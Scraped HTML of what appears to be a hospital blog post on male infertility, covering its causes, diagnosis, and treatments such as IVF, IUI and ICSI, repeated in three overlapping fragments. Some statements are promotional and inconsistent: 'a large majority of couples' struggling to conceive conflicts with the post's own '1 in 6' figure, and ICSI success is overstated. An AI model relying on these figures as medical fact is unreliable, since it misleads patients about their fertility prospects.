Insemination):</strong> This involves placing the sperm into the woman’s uterus using a special tube. This method is often used when the man’s sperm count is low, and his sperm has low mobility. Or when there is retrograde ejaculation.</li>\r\n 	<li><strong>ICSI (Intracytoplasmic Sperm Injection):</strong> This is where a single sperm is physically inserted into an egg. This treatment option helps those having even the most severe male infertility problems. Because of this revolutionary method, up to 80 percent of infertile men have the potential to conceive with their partner.\r\nToday’s highly-advanced, revolutionary medical techniques and procedures have made it possible for couples to conceive and make their dreams come true no matter what the odds are.</li>\r\n</ol>\r\nFor more information on male infertility and its treatment options please

ready to get pregnant, it should be the happiest and easiest thing in the world. However, for a large majority of couples, getting pregnant is not so easy. There are a number of complications that can arise, either in the man or woman, that can make getting pregnant extremely problematic.\r\n<!--more-->\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><span style=\"color: #ff0000;\"><strong><strong>What is male infertility?</strong></strong></span></h2>\r\nMale infertility is when the man is facing problems with his fertility and cannot get the woman pregnant. <strong>1 in every 6 couples face fertility issues</strong>, and 50% of the fertility cases are believed to be linked to the male.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><span style=\"color: #ff0000;\"><strong>What factors can cause male infertility?</strong></span></h2>\r\nMale infertility can arise due to a number of reasons such as low sperm count, abnormally functioning sperm or blockages that prevent the delivery of sperm from the testicles to the penis. Certain past illnesses or chronic health problems, injuries, lifestyle choices, and other factors can also play a role in causing male infertility.\r\n\r\nIn most cases, the cause for male infertility is related to the process of making the sperm or the mobility of the sperm. Some men may have sperm that have a short life span. Other men may have a very <span style=\"color: #3366ff;\"><a style=\"color: #3366ff;\" href=\"https://www.nufertility.com/blog/tips-to-boost-male-fertility-sperm-count/\" target=\"_blank\" rel=\"noopener\"><strong>low sperm count</strong> </a></span>(also known as oligospermia). Some men cannot produce sperm at all (a condition called azoospermia). Most of the time, with the right medical/surgical treatments and lifestyle modifications, these problems can be reversed and cured. Other times, they, unfortunately, cannot. Consulting with the right andrologist/urologist and getting a complete check-up for the right path of treatment is the best way out.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><span style=\"color: #ff0000;\"><strong><strong>Treatment for Male Infertility</strong></strong></span></h2>\r\n<h3 style=\"text-align: left; font-size: 13px; width: 100%;\"><strong>Surgical and Non-surgical Options</strong></h3>\r\nThe urologist will take a full medical history and do a routine but thorough physical examination. For most men, these steps will be enough to pinpoint the issue. However, some men will require a few extra exams to detect the underlying problem, if needed, such as an ultrasound, blood tests or a hormonal profile. These will help further check the potential cause.\r\n\r\nOnce the main issue has been found, the doctor will prescribe the best treatment options available. But on a positive note, most male infertility cases are treatable, allowing the couple to fulfill their dreams of having a child of their own.\r\n\r\nMale infertility can be treated with or without surgery, or with assisted reproductive technology treatments. The non-surgical options include lifestyle changes, medications, therapy/counseling or hormone-related treatments. Other treatment options include surgery or the use of assisted reproductive technology.\r\n\r\nFor men who cannot bring out semen (ejaculate) at all, also known as anejaculation, medications will typically be prescribed first. This, by itself, is usually successful. If not, surgery is usually the next option. Surgery can be used to correct a defect or remove a blockage. Varicocele surgery sometimes helps in improving the quality and quantity of sperms in semen.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><span style=\"color: #ff0000;\"><strong>Types of Assisted Reproductive (ART) Technology</strong></span></h2>\r\nWhen medication and surgical methods prove to be unfruitful to cure male infertility, your doctor will prescribe other forms of treatment that do not involve having intercourse. These methods are also called assisted reproductive techniques. <strong>Some of them are as follows:</strong>\r\n<ol>\r\n 	<li><strong>IVF (In-vitro Fertilization):</strong> This is when the egg of a woman is retrieved from the ovaries and fertilized by sperm in laboratory conditions. After letting it grow for 3 to 5 days, the fertilized egg (embryo) is put back into the woman’s uterus.</li>\r\n 	<li><strong>IUI (Intrauterine Insemination):</strong> This involves placing the sperm into the woman’s uterus using a special tube. This method is often used when the man’s sperm count is low, and his sperm has low mobility. Or when there is retrograde ejaculation.</li>\r\n 	<li><strong>ICSI (Intracytoplasmic Sperm Injection):</strong> This is where a single sperm is physically inserted into an egg. This treatment option helps those having even the most severe male infertility problems. Because of this revolutionary method, up to 80 percent of infertile men have the potential to conceive with their partner.\r\nToday’s highly-advanced, revolutionary medical techniques and procedures have made it possible for couples to conceive and make their dreams come true no matter what the odds are.</li>\r\n</ol>\r\nFor more information on male infertility and its treatment options please

ready to get pregnant, it should be the happiest and easiest thing in the world. However, for a large majority of couples, getting pregnant is not so easy. There are a number of complications that can arise, either in the man or woman, that can make getting pregnant extremely problematic.\r\n<a href=\"http://www.nuhospitals.com/blog/\"><!--more--></a>\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><span style=\"color: #ff0000;\"><strong><strong>What is male infertility?</strong></strong></span></h2>\r\nMale infertility is when the man is facing problems with his fertility and cannot get the woman pregnant. <strong>1 in every 6 couples face fertility issues</strong>, and 50% of the fertility cases are believed to be linked to the male.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><span style=\"color: #ff0000;\"><strong>What factors can cause male infertility?</strong></span></h2>\r\nMale infertility can arise due to a number of reasons such as low sperm count, abnormally functioning sperm or blockages that prevent the delivery of sperm from the testicles to the penis. Certain past illnesses or chronic health problems, injuries, lifestyle choices, and other factors can also play a role in causing male infertility.\r\n\r\nIn most cases, the cause for male infertility is related to the process of making the sperm or the mobility of the sperm. Some men may have sperm that have a short life span. Other men may have a very <span style=\"color: #3366ff;\"><a style=\"color: #3366ff;\" href=\"https://www.nufertility.com/blog/tips-to-boost-male-fertility-sperm-count/\" target=\"_blank\" rel=\"noopener\"><strong>low sperm count</strong> </a></span>(also known as oligospermia). Some men cannot produce sperm at all (a condition called azoospermia). Most of the time, with the right medical/surgical treatments and lifestyle modifications, these problems can be reversed and cured. Other times, they, unfortunately, cannot. Consulting with the right andrologist/urologist and getting a complete check-up for the right path of treatment is the best way out.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><span style=\"color: #ff0000;\"><strong><strong>Treatment for Male Infertility</strong></strong></span></h2>\r\n<h3 style=\"text-align: left; font-size: 13px; width: 100%;\"><strong>Surgical and Non-surgical Options</strong></h3>\r\nThe urologist will take a full medical history and do a routine but thorough physical examination. For most men, these steps will be enough to pinpoint the issue. However, some men will require a few extra exams to detect the underlying problem, if needed, such as an ultrasound, blood tests or a hormonal profile. These will help further check the potential cause.\r\n\r\nOnce the main issue has been found, the doctor will prescribe the best treatment options available. But on a positive note, most male infertility cases are treatable, allowing the couple to fulfill their dreams of having a child of their own.\r\n\r\nMale infertility can be treated with or without surgery, or with assisted reproductive technology treatments. The non-surgical options include lifestyle changes, medications, therapy/counseling or hormone-related treatments. Other treatment options include surgery or the use of assisted reproductive technology.\r\n\r\nFor men who cannot bring out semen (ejaculate) at all, also known as anejaculation, medications will typically be prescribed first. This, by itself, is usually successful. If not, surgery is usually the next option. Surgery can be used to correct a defect or remove a blockage. Varicocele surgery sometimes helps in improving the quality and quantity of sperms in semen.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><span style=\"color: #ff0000;\"><strong>Types of Assisted Reproductive (ART) Technology</strong></span></h2>\r\nWhen medication and surgical methods prove to be unfruitful to cure male infertility, your doctor will prescribe other forms of treatment that do not involve having intercourse. These methods are also called assisted reproductive techniques. <strong>Some of them are as follows:</strong>\r\n<ol>\r\n 	<li><strong>IVF (In-vitro Fertilization):</strong> This is when the egg of a woman is retrieved from the ovaries and fertilized by sperm in laboratory conditions. After letting it grow for 3 to 5 days, the fertilized egg (embryo) is put back into the woman’s uterus.</li>\r\n 	<li><strong>IUI (Intrauterine Insemination):</strong> This involves placing the sperm into the woman’s uterus using a special tube. This method is often used when the man’s sperm count is low, and his sperm has low mobility. Or when there is retrograde ejaculation.</li>\r\n 	<li><strong>ICSI (Intracytoplasmic Sperm Injection):</strong> This is where a single sperm is physically inserted into an egg. This treatment option helps those having even the most severe male infertility problems. Because of this revolutionary method, up to 80 percent of infertile men have the potential to conceive with their partner.\r\nToday’s highly-advanced, revolutionary medical techniques and procedures have made it possible for couples to conceive and make their dreams come true no matter what the odds are.</li>\r\n</ol>\r\nFor more information on male infertility and its treatment options please
